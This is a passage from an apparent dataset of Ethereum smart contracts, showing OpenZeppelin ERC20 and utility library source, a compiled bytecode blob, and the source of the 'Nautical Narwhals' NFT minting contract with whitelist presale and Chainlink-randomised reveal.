_totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x60806040526004361061011f5760003560e01c80637ff9b596116100a0578063e0ee43a211610064578063e0ee43a2146103e6578063e6fd48bc14610411578063f14210a61461043c578063f2fde38b14610477578063f7c618c1146104c85761011f565b80637ff9b596146102d15780638da5cb5b146102fc578063c6a0e27d1461033d578063d1e5587e1461036a578063ddeae033146103955761011f565b80634e71d92d116100e75780634e71d92d14610222578063586360ce146102395780635b857a1b146102645780636644cc2b1461028f578063715018a6146102ba5761011f565b80631959a002146101245780631b9265b814610197578063313ce567146101a157806343d7d321146101cc5780634b1a4c0c146101f7575b600080fd5b34801561013057600080fd5b506101736004803603602081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610509565b60405180848152602001838152602001828152602001935050505060405180910390f35b61019f610533565b005b3480156101ad57600080fd5b506101b661094e565b6040518082815260200191505060405180910390f35b3480156101d857600080fd5b506101e1610954565b6040518082815260200191505060405180910390f35b34801561020357600080fd5b5061020c61095a565b6040518082815260200191505060405180910390f35b34801561022e57600080fd5b50610237610960565b005b34801561024557600080fd5b5061024e61096b565b6040518082815260200191505060405180910390f35b34801561027057600080fd5b50610279610971565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610977565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b506102cf61097d565b005b3480156102dd57600080fd5b506102e6610b03565b6040518082815260200191505060405180910390f35b34801561030857600080fd5b50610311610b09565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034957600080fd5b50610352610b32565b60405180821515815260200191505060405180910390f35b34801561037657600080fd5b5061037f610d9b565b6040518082815260200191505060405180910390f35b3480156103a157600080fd5b506103e4600480360360208110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da1565b005b3480156103f257600080fd5b506103fb610dad565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b50610426610db3565b6040518082815260200191505060405180910390f35b34801561044857600080fd5b506104756004803603602081101561045f57600080fd5b8101908080359060200190929190505050610db9565b005b34801561048357600080fd5b506104c66004803603602081101561049a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f61565b005b3480156104d457600080fd5b506104dd61116c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600d6020528060005260406000206000915090508060000154908060010154908060020154905083565b6008543410156105ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4c657373207468656e206d696e20616d6f756e7400000000000000000000000081525060200191505060405180910390fd5b600954341115610623576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d6f7265207468656e206d617820616d6f756e7400000000000000000000000081525060200191505060405180910390fd5b60055442101561069b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f74207374617274656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6006544210610712576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f456e64656400000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600061071d34611192565b9050600a5461073782600b546111c790919063ffffffff16565b11156107ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f76657266696c6c65640000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506009546108083483600201546111c790919063ffffffff16565b111561087c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d6f7265207468656e206d617820616d6f756e7400000000000000000000000081525060200191505060405180910390fd5b61089182600b546111c790919063ffffffff16565b600b819055506108ae3482600201546111c790919063ffffffff16565b81600201819055506108cd8282600101546111c790919063ffffffff16565b81600101819055506108ec8282600001546111c790919063ffffffff16565b81600001819055503373ffffffffffffffffffffffffffffffffffffffff167fb55d4ca2fc644ca3f8cdc9c907826e24acd68d2b2d4d73f48b8f2378dbaedf5d3484604051808381526020018281526020019250505060405180910390a25050565b60045481565b60065481565b600b5481565b6109693361124f565b565b600c5481565b60095481565b60085481565b610985611469565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610b3c611469565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6006544211610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611bb06026913960400191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ce157600080fd5b505afa158015610cf5573d6000803e3d6000fd5b505050506040513d6020811015610d0b57600080fd5b81019080805190602001909291905050509050610d9333610d4b600b54610d3d600c54866111c790919063ffffffff16565b61147190919063ffffffff16565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114bb9092919063ffffffff16565b600191505090565b60075481565b610daa8161124f565b50565b600a5481565b60055481565b610dc1611469565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d8060008114610ee1576040519150601f19603f3d011682016040523d82523d6000602084013e610ee6565b606091505b5050905080610f5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5472616e73666572206661696c65642e0000000000000000000000000000000081525060200191505060405180910390fd5b5050565b610f69611469565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b436026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111c0600454600a0a6111b26002548561155d90919063ffffffff16565b6115a790919063ffffffff16565b9050919050565b600080828401905083811015611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600260015414156112c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026001819055506007544211611347576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f446973747269627574696f6e206e6f742073746172746564000000000000000081525060200191505060405180910390fd5b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001549050600081111561145d57600082600001819055506113bb81600c546111c790919063ffffffff16565b600c8190555061140e8382600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114bb9092919063ffffffff16565b8273ffffffffffffffffffffffffffffffffffffffff167f6352c5382c4a4578e712449ca65e83cdb392d045dfcf1cad9615189db2da244b826040518082815260200191505060405180910390a25b50506001808190555050565b600033905090565b60006114b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162d565b905092915050565b6115588363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506116ed565b505050565b600061159f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117dc565b905092915050565b6000808314156115ba5760009050611627565b60008284029050828482816115cb57fe5b0414611622576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b8f6021913960400191505060405180910390fd5b809150505b92915050565b60008383111582906116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561169f578082015181840152602081019050611684565b50505050905090810190601f1680156116cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b606061174f826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166118a29092919063ffffffff16565b90506000815111156117d75780806020019051602081101561177057600080fd5b81019080805190602001909291905050506117d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611bd6602a913960400191505060405180910390fd5b5b505050565b60008083118290611888576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561184d578082015181840152602081019050611832565b50505050905090810190601f16801561187a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161189457fe5b049050809150509392505050565b60606118b184846000856118ba565b90509392505050565b606082471015611915576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b696026913960400191505060405180910390fd5b61191e85611a63565b611990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106119e057805182526020820191506020810190506020830392506119bd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611a42576040519150601f19603f3d011682016040523d82523d6000602084013e611a47565b606091505b5091509150611a57828286611a76565b92505050949350505050565b600080823b905060008111915050919050565b60608315611a8657829050611b3b565b600083511115611a995782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b00578082015181840152602081019050611ae5565b50505050905090810190601f168015611b2d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77576974686472617720616c6c6f7765642061667465722073746f7020616363657074204554485361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220d8a3d21fb0fbffc7a2933dc95fb50af85f390bc1750435fce1a99ba49586618b64736f6c634300060c0033
[ 4 ]
0xf3a67ABD81E985d8E1e20C0Ac290a251442fBC99
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; contract NauticalNarwhals is ERC721, Ownable, VRFConsumerBase, ReentrancyGuard { using Counters for Counters.Counter; using Strings for uint256; //allows for uint256var.tostring() Counters.Counter private _mintedSupply; string private baseURI; string public notRevealedURI; uint256 constant TOKEN_PRICE = 0.0457 ether; uint256 constant MAX_SUPPLY = 5757; uint256 constant MAX_PER_TRANSACTION = 10; uint256 private _randomShift; uint256 immutable LINK_FEE; bytes32 internal immutable LINK_KEY_HASH; address public immutable LINK_TOKEN; bool public paused = true ; bool public presale = true; bool public revealed; mapping(address => bool) private whitelistedAddresses; constructor( string memory _initbaseURI, string memory _initNotRevealedURI, address _LINK_TOKEN, address _LINK_VRF_COORDINATOR_ADDRESS, bytes32 _LINK_KEY_HASH, uint256 _LINK_FEE ) ERC721("Nautical Narwhals", "NN") VRFConsumerBase(_LINK_VRF_COORDINATOR_ADDRESS, _LINK_TOKEN){ baseURI = _initbaseURI; notRevealedURI = _initNotRevealedURI; LINK_TOKEN = _LINK_TOKEN; LINK_KEY_HASH = _LINK_KEY_HASH; LINK_FEE = _LINK_FEE; } function mintPreSale(uint256 _mintAmount) public payable { require(presale, "Presale is not active"); require(whitelistedAddresses[msg.sender], "Sorry, no access unless you're whitelisted"); require(msg.value == TOKEN_PRICE * _mintAmount, "Incorrect ether amount"); _mint(_mintAmount); } function mintPublicSale(uint256 _mintAmount) public payable{ require(!presale, "Presale is active"); require(msg.value == TOKEN_PRICE * _mintAmount, "Incorrect ether amount"); _mint(_mintAmount); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "tokenID does not exist"); if (!revealed) { return notRevealedURI; } string memory currentBaseURI = _baseURI(); // shifting the tokenId by a randomNumber which is generated by Chainlink VRF before we do a reveal uint256 tokenIdShifted = ((tokenId + _randomShift) % MAX_SUPPLY) + 1 ; return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked(currentBaseURI, tokenIdShifted.toString(), '.json') ) : ""; } function isWhitelisted(address _user) external view returns (bool){ return whitelistedAddresses[_user]; } function mintedAmount() external view returns (uint256){ return _mintedSupply.current(); } /// ============ INTERNAL ============ function _mint(uint256 _mintAmount) internal nonReentrant{ require(!paused, "Please wait until unpaused"); require(_mintAmount > 0, "Mint at least one token"); require(_mintAmount <= 10, "Max 10 Allowed."); require(_mintedSupply.current() + _mintAmount <= MAX_SUPPLY, "Not enough tokens left to mint that many"); for(uint256 i = 1; i <= _mintAmount; i++){ _mintedSupply.increment(); _safeMint(msg.sender, _mintedSupply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } //Callback function used by Chainlink VRF Coordinator. function fulfillRandomness(bytes32, uint256 randomness) internal override { _randomShift = (randomness % MAX_SUPPLY) + 1; } /// ============ ONLY OWNER ============ //Requests randomness from Chainlink function getRandomNumber() public onlyOwner returns (bytes32 requestId) { require( LINK.balanceOf(address(this)) >= LINK_FEE, "Not enough LINK" ); return requestRandomness(LINK_KEY_HASH, LINK_FEE); } function airdrop(address[] memory _users) external onlyOwner nonReentrant{ require(_mintedSupply.current() + _users.length <= MAX_SUPPLY, "Not this many tokens left"); for(uint256 i = 1; i <= _users.length; i++){ _mintedSupply.increment(); _safeMint(_users[i-1], _mintedSupply.current()); } } function withdraw() external onlyOwner { (bool success, ) = payable(owner()).call{value: address(this).balance}(""); require(success); } function setBaseURI(string calldata _newBaseURI) external onlyOwner { baseURI = _newBaseURI; } function setNotRevealedURI(string memory _notRevealedURI) external onlyOwner { notRevealedURI = _notRevealedURI; } function setReveal(bool _revealed) external onlyOwner { revealed = _revealed; } function setPresale(bool _presale) external onlyOwner { presale = _presale; } function setPaused(bool _paused) external onlyOwner { paused = _paused; } function setWhitelist(address[] calldata _users) external onlyOwner { for(uint256 i = 0; i < _users.length; i++){ whitelistedAddresses[_users[i]] = true; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** 